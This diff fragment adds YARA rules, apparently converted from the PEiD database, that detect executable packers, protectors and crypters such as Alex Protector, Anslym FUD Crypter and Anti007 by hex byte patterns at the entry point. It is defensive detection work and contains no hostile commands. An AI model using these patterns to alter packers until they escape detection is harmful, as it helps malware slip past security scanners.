+        $a = {60 68 54 ?? ?? ?? B8 48 ?? ?? ?? FF 10 68 B3 ?? ?? ?? 50 B8 44 ?? ?? ?? FF 10 68 00 ?? ?? ?? 6A 40 FF D0 89 05 CA ?? ?? ?? 89 C7 BE 00 10 ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00045_AHPack_0_1____FEUERRADER_
+{
+    meta:
+        description = "[AHPack 0.1 -> FEUERRADER]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 54 ?? ?? 00 B8 48 ?? ?? 00 FF 10 68 B3 ?? ?? 00 50 B8 44 ?? ?? 00 FF 10 68 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00046_AHpack_0_1____FEUERRADER_
+{
+    meta:
+        description = "[AHpack 0.1 -> FEUERRADER]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 54 ?? ?? ?? B8 48 ?? ?? ?? FF 10 68 B3 ?? ?? ?? 50 B8 44 ?? ?? ?? FF 10 68 00 ?? ?? ?? 6A 40 FF D0 89 05 CA ?? ?? ?? 89 C7 BE 00 10 ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00047_AINEXE_v2_1_
+{
+    meta:
+        description = "[AINEXE v2.1]"
+        ep_only = "true"
+    strings:
+        $a = {A1 ?? ?? 2D ?? ?? 8E D0 BC ?? ?? 8C D8 36 A3 ?? ?? 05 ?? ?? 36 A3 ?? ?? 2E A1 ?? ?? 8A D4 B1 04 D2 EA FE C9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00048_AINEXE_v2_30_
+{
+    meta:
+        description = "[AINEXE v2.30]"
+        ep_only = "true"
+    strings:
+        $a = {0E 07 B9 ?? ?? BE ?? ?? 33 FF FC F3 A4 A1 ?? ?? 2D ?? ?? 8E D0 BC ?? ?? 8C D8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00049_Alex_Protector_0_4_beta_1_by_Alex_
+{
+    meta:
+        description = "[Alex Protector 0.4 beta 1 by Alex]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 01 00 00 00 C7 83 C4 04 33 C9 E8 01 00 00 00 68 83 C4 04 E8 01 00 00 00 68 83 C4 04 B9 ?? 00 00 00 E8 01 00 00 00 68 83 C4 04 E8 00 00 00 00 E8 01 00 00 00 C7 83 C4 04 8B 2C 24 83 C4 04 E8 01 00 00 00 A9 83 C4 04 81 ED 3C 13 40 00 E8 01 00 00 00 68}
+    condition:
+        $a
+}
+rule PEiD_00050_Alex_Protector_1_0____Alex_
+{
+    meta:
+        description = "[Alex Protector 1.0 -> Alex]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00051_Alex_Protector_1_0_beta_2_by_Alex_
+{
+    meta:
+        description = "[Alex Protector 1.0 beta 2 by Alex]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B 44 24 0C EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 83 80 B8 00 00 00 02 33 C0 EB 01 E9 C3 58 83 C4 04 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 50 64 FF 35 00 00 00 00 64 89 25}
+    condition:
+        $a
+}
+rule PEiD_00052_Alex_Protector_1_0_beta_2_by_Alex_
+{
+    meta:
+        description = "[Alex Protector 1.0 beta 2 by Alex]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B 44 24 0C EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 83 80 B8 00 00 00 02 33 C0 EB 01 E9 C3 58 83 C4 04 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 EB 01 E9 FF FF 60 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 0F 31 8B D8 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 8B CA EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 0F 31 2B C3 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 1B D1 0F 31 03 C3 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 13 D1 0F 31 2B C3 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 EB 05 68 F0 0F C7 C8 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 1B D1 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 85}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00053_Alex_Protector_v0_4_beta_1_by_Alex_
+{
+    meta:
+        description = "[Alex Protector v0.4 beta 1 by Alex]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 00 00 00 C7 83 C4 04 33 C9 E8 01 00 00 00 68 83 C4 04 E8 01 00 00 00 68 83 C4 04 B9 ?? 00 00 00 E8 01 00 00 00 68 83 C4 04 E8 00 00 00 00 E8 01 00 00 00 C7 83 C4 04 8B 2C 24 83 C4 04 E8 01 00 00 00 A9 83 C4 04 81 ED 3C 13 40 00 E8 01 00 00 00 68 83 C4 04 E8 00 00 00 00 E8 00 00 00 00 49 E8 01 00 00 00 68 83 C4 04 85 C9 75 DF E8 B9 02 00 00 E8 01 00 00 00 C7 83 C4 04 8D 95 63 14 40 00 E8 01 00 00 00 C7 83 C4 04 90 90 90 E8 CA 01 00 00 01 02 03 04 05 68 90 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00054_Alex_Protector_v1_0____Alex_
+{
+    meta:
+        description = "[Alex Protector v1.0 -> Alex]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B}
+    condition:
+        $a at pe.entry_point
+}
+/*
+rule PEiD_00055_Alias_PIX_Vivid_IMG_Graphics_format_
+{
+    meta:
+        description = "[Alias PIX/Vivid IMG Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? ?? ?? 00 00 ?? ?? 00 18 ?? ?? ?? ?? 01}
+    condition:
+        $a
+}
+*/
+rule PEiD_00056_Alloy_4_x____PGWare_LLC_
+{
+    meta:
+        description = "[Alloy 4.x -> PGWare LLC]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 6A 04 68 00 10 00 00 68 00 02 00 00 6A 00 FF 95 A8 33 40 00 0B C0 0F 84 F6 01 00 00 89 85 2E 33 40 00 83 BD E8 32 40 00 01 74 0D 83 BD E4 32 40 00 01 74 2A 8B F8 EB 3E 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00057_Alloy_4_x____PGWare_LLC_
+{
+    meta:
+        description = "[Alloy 4.x -> PGWare LLC]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 6A 04 68 00 10 00 00 68 00 02 00 00 6A 00 FF 95 A8 33 40 00 0B C0 0F 84 F6 01 00 00 89 85 2E 33 40 00 83 BD E8 32 40 00 01 74 0D 83 BD E4 32 40 00 01 74 2A 8B F8 EB 3E 68 D8 01 00 00 50 FF 95 CC 33 40 00 50 8D 85 28 33 40 00 50 FF B5 2E 33 40 00 FF 95 D0 33 40 00 58 83 C0 05 EB 0C 68 D8 01 00 00 50 FF 95 C0 33 40 00 8B BD 2E 33 40 00 03 F8 C6 07 5C 47 8D B5 00 33 40 00 AC 0A C0 74 03 AA EB F8 83 BD DC 32 40 00 01 74 7A 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 FF B5 2E 33 40 00 FF 95 B4 33 40 00 83 F8 FF 74 57 89 85 32 33 40 00 8D 85 56 33 40 00 8D 9D 5E 33 40 00 8D 8D 66 33 40 00 51 53 50 FF B5 32 33 40 00 FF 95 C4 33 40 00 FF B5 32 33 40 00 FF 95 B8 33 40 00 8B 85}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00058_Alloy_v1_x_2000_
+{
+    meta:
+        description = "[Alloy v1.x.2000]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 ?? 87 DD 6A 04 68 ?? 10 ?? ?? 68 ?? 02 ?? ?? 6A ?? FF 95 46 23 40 ?? 0B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00059_Aluwain_v8_09_
+{
+    meta:
+        description = "[Aluwain v8.09]"
+        ep_only = "true"
+    strings:
+        $a = {8B EC 1E E8 ?? ?? 9D 5E}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00060_Amiga_AIFF_8SFX_Audio_file_
+{
+    meta:
+        description = "[Amiga AIFF 8SFX Audio file]"
+        ep_only = "false"
+    strings:
+        $a = {46 4F 52 4D ?? ?? ?? ?? 38 53 56 58 56 48 44 52}
+    condition:
+        $a
+}
+
+rule PEiD_00061_Amiga_IFF_ILBM_Graphics_format_
+{
+    meta:
+        description = "[Amiga IFF/ILBM Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {46 4F 52 4D ?? ?? ?? ?? 49 4C 42 4D 42 4D 48 44}
+    condition:
+        $a
+}
+
+rule PEiD_00062_ANDpakk2_0_06___by_Dmitry__AND__Andreev_
+{
+    meta:
+        description = "[ANDpakk2 0.06 - by Dmitry \"AND\" Andreev]"
+        ep_only = "true"
+    strings:
+        $a = {60 FC BE D4 00 40 00 BF 00 10 00 01 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00063_ANDpakk2_0_06___by_Dmitry__quot_AND_quot__Andreev_
+{
+    meta:
+        description = "[ANDpakk2 0.06 - by Dmitry &quot;AND&quot; Andreev]"
+        ep_only = "true"
+    strings:
+        $a = {60 FC BE D4 00 40 00 BF 00 10 00 01 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74 4D D1 F8 8B E8 EB 09 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 13 C9 75 1A 41 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 73 EA 83 C1 02 81 FD 00 FB FF FF 83 D1 01 56 8D 34 2F F3 A4 5E E9 73 FF FF FF C3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00064_ANDpakk2_0_18___by_Dmitry__quot_AND_quot__Andreev_
+{
+    meta:
+        description = "[ANDpakk2 0.18 - by Dmitry &quot;AND&quot; Andreev]"
+        ep_only = "true"
+    strings:
+        $a = {FC BE D4 00 40 00 BF 00 ?? ?? 00 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74 4D D1 F8 8B E8 EB 09 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 13 C9 75 1A 41 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 73 EA 83 C1 02 81 FD 00 FB FF FF 83 D1 01 56 8D 34 2F F3 A4 5E E9 73 FF FF FF C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00065_Anskya_Binder_v1_1____Anskya_
+{
+    meta:
+        description = "[Anskya Binder v1.1 -> Anskya]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? 00 BB F8 11 40 00 33 ED 83 EE 04 39 2E 74 11}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00066_Anskya_NTPacker_Generator____Anskya_
+{
+    meta:
+        description = "[Anskya NTPacker Generator -> Anskya]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 B8 88 1D 00 10 E8 C7 FA FF FF 6A 0A 68 20 1E 00 10 A1 14 31 00 10 50 E8 71 FB FF FF 8B D8 85 DB 74 2F 53 A1 14 31 00 10 50 E8 97 FB FF FF 85 C0 74 1F 53 A1 14 31 00 10 50 E8 5F FB FF FF 85 C0 74 0F 50 E8 5D FB FF FF 85 C0 74 05 E8 70}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00067_Anskya_NTPacker_Generator____Anskya_
+{
+    meta:
+        description = "[Anskya NTPacker Generator -> Anskya]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 B8 88 1D 00 10 E8 C7 FA FF FF 6A 0A 68 20 1E 00 10 A1 14 31 00 10 50 E8 71 FB FF FF 8B D8 85 DB 74 2F 53 A1 14 31 00 10 50 E8 97 FB FF FF 85 C0 74 1F 53 A1 14 31 00 10 50 E8 5F FB FF FF 85 C0 74 0F 50 E8 5D FB FF FF 85 C0 74 05 E8 70 FC FF FF 5B E8 F2 F6 FF FF 00 00 48 45 41 52 54}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00068_Anslym_Crypter_
+{
+    meta:
+        description = "[Anslym Crypter]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 B8 38 17 05 10 E8 5A 45 FB FF 33 C0 55 68 21 1C 05 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 E8 85 4C FB FF 6A 00 E8 0E 47 FB FF 6A 0A E8 27 49 FB FF E8 EA 47 FB FF 6A 0A 68 30 1C 05 10 A1 60 56 05 10 50 E8 68 47 FB FF 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00069_Anslym_Crypter_
+{
+    meta:
+        description = "[Anslym Crypter]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 B8 38 17 05 10 E8 5A 45 FB FF 33 C0 55 68 21 1C 05 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 E8 85 4C FB FF 6A 00 E8 0E 47 FB FF 6A 0A E8 27 49 FB FF E8 EA 47 FB FF 6A 0A 68 30 1C 05 10 A1 60 56 05 10 50 E8 68 47 FB FF 8B D8 85 DB 0F 84 B6 02 00 00 53 A1 60 56 05 10 50 E8 F2 48 FB FF 8B F0 85 F6 0F 84 A0 02 00 00 E8 F3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00070_Anslym_FUD_Crypter___Sign_by_fly_
+{
+    meta:
+        description = "[Anslym FUD Crypter ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 B8 38 17 05 10 E8 5A 45 FB FF 33 C0 55 68 21 1C 05 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 E8 85 4C FB FF 6A 00 E8 0E 47 FB FF 6A 0A E8 27 49 FB FF E8 EA 47 FB FF 6A 0A}
+    condition:
+        $a at pe.entry_point
+}
+/*
+rule PEiD_00071_Anti007____NsPacK_Private_
+{
+    meta:
+        description = "[Anti007 -> NsPacK Private]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+*/
+rule PEiD_00072_Anti007_V1_0_V2_X____NsPacK_Private_
+{
+    meta:
+        description = "[Anti007 V1.0-V2.X -> NsPacK Private]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 45 78 69 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00073_Anti007_V2_5_V2_6____NsPacK_Private_
+{
+    meta:
+        description = "[Anti007 V2.5-V2.6 -> NsPacK Private]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 53}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00074_Anti007_V2_6____LiuXingPing___Sign_by_fly_
+{
+    meta:
+        description = "[Anti007 V2.6 -> LiuXingPing ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 57 72 69 74 65 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00075_Anti007_V2_7_V3_5____NsPacK_Private_
+{
+    meta:
+        description = "[Anti007 V2.7-V3.5 -> NsPacK Private]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 54}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00076_Anticrack_Software_Protector_v1_09__ACProtect__
+{
+    meta:
+        description = "[Anticrack Software Protector v1.09 (ACProtect)]"
+        ep_only = "true"
+    strings:
+        $a = {60 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 83 04 24 06 C3 ?? ?? ?? ?? ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00077_AntiDote_1_0_Beta____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.0 Beta -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {E8 BB FF FF FF 84 C0 74 2F 68 04 01 00 00 68 C0 23 60 00 6A 00 FF 15 08 10 60 00 E8 40 FF FF FF 50 68 78 11 60 00 68 68 11 60 00 68 C0 23 60 00 E8 AB FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3 90 8B 44 24 04 53 55 56 8B 48 3C 57 03 C8 33 D2 8B 79 54 8B 71 38 8B C7 F7 F6 85 D2 74 0C 8B C7 33 D2 F7 F6 8B F8 47 0F AF FE 33 C0 33 DB 66 8B 41 14 8D 54 08 18 33 C0 66 8B 41 06 89 54 24 14 8D 68 FF 85 ED 7C 37 33 C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00078_AntiDote_1_0_beta____Spy_Instructor_
+{
+    meta:
+        description = "[AntiDote 1.0 beta -> Spy Instructor]"
+        ep_only = "true"
+    strings:
+        $a = {E8 BB FF FF FF 84 C0 74 2F 68 04 01 00 00 68 C0 23 60 00 6A 00 FF 15 08 10 60 00 E8 40 FF FF FF 50 68 78 11 60 00 68 68 11 60 00 68 C0 23 60 00 E8 AB FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00079_AntiDote_1_0_beta____Spy_Instructor_
+{
+    meta:
+        description = "[AntiDote 1.0 beta -> Spy Instructor]"
+        ep_only = "true"
+    strings:
+        $a = {E8 BB FF FF FF 84 C0 74 2F 68 04 01 00 00 68 C0 23 60 00 6A 00 FF 15 08 10 60 00 E8 40 FF FF FF 50 68 78 11 60 00 68 68 11 60 00 68 C0 23 60 00 E8 AB FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3 90 8B 44 24 04 53 55 56 8B 48 3C 57 03 C8 33 D2 8B 79 54 8B 71 38 8B C7 F7 F6 85 D2 74 0C 8B C7 33 D2 F7 F6 8B F8 47 0F AF FE 33 C0 33 DB 66 8B 41 14 8D 54 08 18 33 C0 66 8B 41 06 89 54 24 14 8D 68 FF 85 ED 7C 37 33 C0 8B 4C 24 14 8D 04 80 8B 4C C1 08 85 C9 74 1A 8B C1 33 D2 F7 F6 85 D2 75 04 03 F9 EB 0C 8B C1 33 D2 F7 F6 40 0F AF C6 03 F8 43 8B C3 25 FF FF 00 00 3B C5 7E CB 8B C7 5F 5E 5D 5B C3 90 90 90 90 90 90 90 90 90 90 90 90 55 8B EC 6A FF 68 50 22 60 00 64 A1 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00080_AntiDote_1_0_Demo___1_2____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.0 Demo / 1.2 -> SIS-Team]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52 65 73 75 6D 65 54 68 72 65 61 64 00 00 29 03 53 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 94 03 57 72 69 74 65 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 00 6B 03 56 69 72 74 75 61 6C 41 6C 6C 6F 63 45 78 00 00 A6 02 52 65 61 64 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 CA 01 47 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 62 00 43 72 65 61 74 65 50 72 6F 63 65 73 73 41 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C}
+    condition:
+        $a
+}
+rule PEiD_00081_AntiDote_1_0_Demo____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.0.Demo -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00082_AntiDote_1_0_Demo____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.0.Demo -> SIS-Team]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52 65 73 75 6D 65 54 68 72 65 61 64 00 00 29 03 53 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 94 03 57 72 69 74 65 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 00 6B 03 56 69 72 74 75 61 6C 41 6C 6C 6F 63 45 78 00 00 A6 02 52 65 61 64 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 CA 01 47 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 62 00 43 72 65 61 74 65 50 72 6F 63 65 73 73 41 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 DC 01 4D 65 73 73 61 67 65 42 6F 78 41 00 26 00 43 68 61 72 4C 6F 77 65 72 41 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 C5 02 73 74 72 73 74 72 00 00 91 02 6D 61 6C 6C 6F 63 00 00 5E 02 66 72 65 65 00 00 4C 02 66 63 6C 6F 73 65 00 00 DA 00 5F 66 69 6C 62 75 66 00 64 02 66 74 65 6C 6C 00 62 02 66 73 65 65 6B 00 57 02 66 6F 70 65 6E 00 49 00 5F 5F 43 78 78 46 72 61 6D 65 48 61 6E 64 6C 65 72 00 4D 53 56 43 52 54 2E 64 6C 6C 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00083_AntiDote_1_2_Beta__Demo_____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.2 Beta (Demo) -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {68 69 D6 00 00 E8 C6 FD FF FF 68 69 D6 00 00 E8 BC FD FF FF 83 C4 08 E8 A4 FF FF FF 84 C0 74 2F 68 04 01 00 00 68 B0 21 60 00 6A 00 FF 15 08 10 60 00 E8 29 FF FF FF 50 68 88 10 60 00 68 78 10 60 00 68 B0 21 60 00 E8 A4 FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 90 90 90 90 90 90 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3 90 8B 44 24 04 53 55 56 8B 48 3C 57 03 C8 33 D2 8B 79 54 8B 71 38 8B C7 F7 F6 85 D2 74 0C 8B C7 33 D2 F7 F6 8B F8 47 0F AF FE 33 C0 33 DB 66 8B 41 14 8D 54 08 18 33 C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00084_AntiDote_1_2_Demo____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.2.Demo -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {E8 F7 FE FF FF 05 CB 22 00 00 FF E0 E8 EB FE FF FF 05 BB 19 00 00 FF E0 E8 BD 00 00 00 08 B2 62 00 01 52 17 0C 0F 2C 2B 20 7F 52 79 01 30 07 17 29 4F 01 3C 30 2B 5A 3D C7 26 11 26 06 59 0E 78 2E 10 14 0B 13 1A 1A 3F 64 1D 71 33 57 21 09 24 8B 1B 09 37 08 61 0F 1D 1D 2A 01 87 35 4C 07 39 0B}
+    condition:
+        $a at pe.entry_point
+}
+
